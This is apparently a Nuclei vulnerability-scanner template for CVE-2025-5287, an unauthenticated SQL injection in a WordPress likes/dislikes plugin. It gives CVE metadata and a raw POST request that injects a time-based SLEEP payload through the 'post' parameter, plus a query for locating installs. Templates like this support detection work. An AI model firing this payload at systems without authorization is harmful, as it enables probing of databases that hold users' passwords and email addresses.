CVE-2025-5287: Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection

id: CVE-2025-5287

info:
  name: Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection
  author: CodeStuffBreakThings
  severity: high
  description: |
    The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive database information including passwords and email addresses through SQL injection in the post parameter.
  remediation: No known patch at this time. Consider removing or disabling the plugin until a patch is released.
  reference:
    - https://plugins.trac.wordpress.org/browser/inprosysmedia-likes-dislikes-post/trunk/inprosysmedia-likes-dislikes-post.php#L76
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ad19205d-d355-45d8-be5b-f8005459a8c7?source=cve
    - https://github.com/XiaomingX/data-cve-poc/blob/main/2025/CVE-2025-5287/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-5287
    cwe-id: CWE-89
    epss-score: 0.02355
    epss-percentile: 0.82873
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/posts-like-dislike/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,posts-like-dislike,time-based-sqli,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(6)))a)&state=like

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains_all(body, "like","dislike")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f81fac4da6e7379d795a2e2a420b2283587fa2397ea2fcc602dd58b874583dc3022059aca96d03cfec3e09d8f278804591b7f4532fd684c6bffd54198b55d527c292:922c64590222798bb761d5b6d8e72950

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